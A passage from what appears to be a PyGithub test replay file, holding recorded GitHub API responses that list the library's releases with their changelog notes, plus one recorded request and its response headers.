Add close all issues example (#1256) (13e2c7c7)\r\n* Add six to install_requires (#1245) (a840a906)\r\n* Implemented user organization membership. Added test case. (#1237) (e50420f7)\r\n* Create DEPLOY.md (c9ed82b2)\r\n* Support non-default URLs in GithubIntegration (#1229) (e33858a3)\r\n* Cleanup try/except import in PaginatedList (#1228) (89c967bb)\r\n* Add an IncompletableObject exception (#1227) (f91cbac2)\r\n* Fix redundant int checks (#1226) (850da5af)\r\n* Jump from notifications to related PRs/issues. (#1168) (020fbebc)\r\n* Code review bodies are optional in some cases. (#1169) (b84d9b19)\r\n* Update changes.rst (#1223) (2df7269a)\r\n* Do not auto-close issues with high priority tag (ab27ba4d)\r\n* Fix bug in repository create new file example PyGithub#1210 (#1211) (74cd6856)\r\n* Remove more Python version specific code (#1193) (a0f01cf9)\r\n* Drop use of assertEquals (#1194) (7bac694a)\r\n* Fix PR review creation. (#1184) (e90cdab0)\r\n* Add support to vulnerability alert and automated security fixes APIs (#1195) (8abd50e2)\r\n* Delete Legacy submodule (#1192) (7ddb657d)\r\n* Remove some uses of atLeastPython3 (#1191) (cca8e3a5)\r\n* Run flake8 in Travis (#1163) (f93207b4)\r\n* Fix directories for coverage in Travis (#1190) (657f87b5)\r\n* Switch to using six (#1189) (dc2f2ad8)\r\n* Update Repository.update_file() docstring (#1186) (f1ae7200)\r\n* Correct return type of MainClass.get_organizations (#1179) (6e79d270)\r\n* Add cryptography to test-requirements.txt (#1165) (9b1c1e09)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/18750310","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/18750310/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/18750310/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.8","id":18750310,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE4NzUwMzEw","tag_name":"v1.43.8","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-07-20T15:56:37Z","published_at":"2019-07-20T15:57:21Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.8","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.8","body":"**New features**\r\n\r\n* Add two factor attributes on organizations (#1132) (a0731685)\r\n* Add Repository methods for pending invitations (#1159) (57af1e05)\r\n* Adds `get_issue_events` to `PullRequest` object (#1154) (acd515aa)\r\n* Add invitee and inviter to Invitation (#1156) (0f2beaca)\r\n* Adding support for pending team invitations (#993) (edab176b)\r\n* Add support for custom base_url in GithubIntegration class (#1093) (6cd0d644)\r\n* GithubIntegration: enable getting installation (#1135) (18187045)\r\n* Add sorting capability to Organization.get_repos() (#1139) (ef6f009d)\r\n* Add new Organization.get_team_by_slug method (#1144) (4349bca1)\r\n* Add description field when creating a new team (#1125) (4a37860b)\r\n* Handle a path of / in Repository.get_contents() (#1070) (102c8208)\r\n* Add issue lock/unlock (#1107) (ec7bbcf5)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Fix bug in recursive repository contents example (#1166) (8b6b4505)\r\n* Allow name to be specified for upload_asset (#1151) (8d2a6b53)\r\n* Fixes #1106 for GitHub Enterprise API (#1110) (54065792)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16783673","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16783673/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/16783673/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.7","id":16783673,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE2NzgzNjcz","tag_name":"v1.43.7","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-04-16T03:49:45Z","published_at":"2019-04-16T03:51:41Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.7","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.7","body":"* Exclude tests from PyPI distribution (#1031) (78d283b9)\r\n* Add codecov badge (#1090) (4c0b54c0)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16573117","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16573117/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/16573117/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.6","id":16573117,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE2NTczMTE3","tag_name":"v1.43.6","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-04-05T06:32:18Z","published_at":"2019-04-05T06:32:54Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.6","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.6","body":"**New features**\r\n\r\n * Add support for Python 3.7 (#1028) (6faa00ac)\r\n* Adding HTTP retry functionality via urllib3 (#1002) (5ae7af55)\r\n* Add new dismiss() method on PullRequestReview (#1053) (8ef71b1b)\r\n* Add since and before to `get_notifications` (#1074) (7ee6c417)\r\n* Add url parameter to include anonymous contributors in `get_contributors` (#1075) (293846be)\r\n* Provide option to extend expiration of jwt token (#1068) (86a9d8e9)\r\n\r\n **Bug Fixes & Improvements**\r\n\r\n * Fix the default parameter for `PullRequest.create_review` (#1058) (118def30)\r\n* Fix `get_access_token` (#1042) (6a89eb64)\r\n* Fix `Organization.add_to_members` role passing (#1039) (480f91cf)\r\n\r\n **Deprecation**\r\n\r\n * Remove Status API (6efd6318)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/15234801","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/15234801/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/15234801/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.5","id":15234801,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE1MjM0ODAx","tag_name":"v1.43.5","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-01-28T09:50:05Z","published_at":"2019-01-29T09:35:42Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.5","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.5","body":"* Add project column create card (#1003) (5f5c2764)\r\n* Fix request got an unexpected keyword argument body (#1012) (ff789dcc)\r\n* Add missing import to PullRequest (#1007) (b5122768)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/14655355","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/14655355/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/14655355/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.4","id":14655355,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE0NjU1MzU1","tag_name":"v1.43.4","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-12-21T09:29:21Z","published_at":"2018-12-21T09:30:15Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.4","body":"**New features**\r\n\r\n* Add Migration API (#899) (b4d895ed)\r\n* Add Traffic API (#977) (a433a2fe)\r\n* New in Project API: create repository project, create project column (#995) (1c0fd97d)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Change type of GitRelease.author to NamedUser (#969) (aca50a75)\r\n* Use total_count from data in PaginatedList (#963) (ec177610)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/13744883","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/13744883/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/13744883/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.3","id":13744883,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEzNzQ0ODgz","tag_name":"v1.43.3","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-10-31T00:38:13Z","published_at":"2018-10-31T00:39:35Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.3","body":"**New features**\r\n\r\n* Add support for JWT authentication (#948) (8ccf9a94)\r\n* Added support for required signatures on protected branches (#939) (8ee75a28)\r\n* Ability to filter repository collaborators (#938) (5687226b)\r\n* Mark notification as read (#932) (0a10d7cd)\r\n* Add highlight search to ``search_code`` function (#925) (1fa25670)\r\n* Adding ``suspended_at`` property to NamedUSer (#922) (c13b43ea)\r\n* Add since parameter for Gists (#914) (e18b1078)\r\n\r\n**Bug Fixes & improvements**\r\n\r\n* Fix missing parameters when reversing ``PaginatedList`` (#946) (60a684c5)\r\n* Fix unable to trigger ``RateLimitExceededException``. (#943) (972446d5)\r\n* Fix inconsistent behavior of trailing slash usage in file path (#931) (ee9f098d)\r\n* Fix handling of 301 redirects (#916) (6833245d)\r\n* Fix missing attributes of ``get_repos`` for authenticated users (#915) (c411196f)\r\n* Fix ``Repository.edit`` (#904) (7286eec0)\r\n* Improve ``__repr__`` method of Milestone class (#921) (562908cb)\r\n* Fix rate limit documentation change (#902) (974d1ec5)\r\n* Fix comments not posted in create_review() (#909) (a18eeb3a)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12852693","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12852693/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12852693/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.2","id":12852693,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyODUyNjkz","tag_name":"v1.43.2","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-12T07:01:08Z","published_at":"2018-09-12T07:01:54Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.2","body":"Version 1.43.2 (September 12, 2018)\r\n-----------------------------------\r\n\r\n* Restore ``RateLimit.rate`` attribute, raise deprecation warning instead (d92389be)"}] https GET api.github.com None /repositories/3544490/releases?per_page=10&page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a255e93691b56b2d25a65048efdd3554963cdb6a3ca80671b38f055e7ace4765"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4637'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '363'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA7A:4595:11F943E:1339E8F:61DC5707')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12829833","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12829833/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12829833/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.1","id":12829833,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyODI5ODMz","tag_name":"v1.43.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-11T05:10:13Z","published_at":"2018-09-11T05:10:56Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.1","body":"Version 1.43.1 (September 11, 2018)\r\n-----------------------------------\r\n New feature:\r\n * Add support for Projects (#854) (faca4ce1)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12796526","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12796526/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12796526/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43","id":12796526,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNzk2NTI2","tag_name":"v1.43","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-08T07:09:08Z","published_at":"2018-09-08T07:46:17Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43","body":"Version 1.43 (September 08, 2018)\r\n-----------------------------------\r\n\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\n**New features**\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Add support for required approving review count (#888) (ef16702)\r\n* Add ``Organization.invite_user`` (880)(eb80564)\r\n* Add support for search/graphql rate limit (fd8a036)\r\n* Add Support search by topics (#893) (3ce0418)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\n**Improvements**\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing attributes to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n* Add missing attributes for IssueEvent (#857) (7ac2a2a)\r\n* Change ``MainClass.get_repo`` default laziness (#882) (6732517)\r\n\r\n**Deprecation**\r\n\r\n* Removed Repository.get_protected_branch (#871) (49db6f8)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469447","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469447/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12469447/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.41","id":12469447,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNDY5NDQ3","tag_name":"v1.41","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-08-19T03:58:17Z","published_at":"2018-08-19T04:29:14Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.41","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.41","body":"Version 1.41 (August 19, 2018)\r\n-----------------------------------\r\n\r\nv1.41 is not available on pypi\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\nNew features\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\nImprovements\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing properties to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469444","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469444/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12469444/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.42","id":12469444,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNDY5NDQ0","tag_name":"v1.42","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-08-19T04:27:09Z","published_at":"2018-08-19T04:28:25Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.42","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.42","body":"Version 1.42 (August 19, 2018)\r\n-----------------------------------\r\n\r\n* Fix travis upload issue\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\nNew features\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\nImprovements\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing properties to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643649","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643649/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/11643649/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a4","id":11643649,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTExNjQzNjQ5","tag_name":"v1.40a4","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-05-21T02:42:33Z","published_at":"2018-06-26T01:09:18Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a4","body":"* Increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Fix Team.description (#797) (0e8ae376)\r\n* Fix Content-Length invalid headers exception (#787) (23395f5f)\r\n* Remove NamedUser.contributions (#774) (a519e467)\r\n* Branch protection methods no longer require loki (#775) 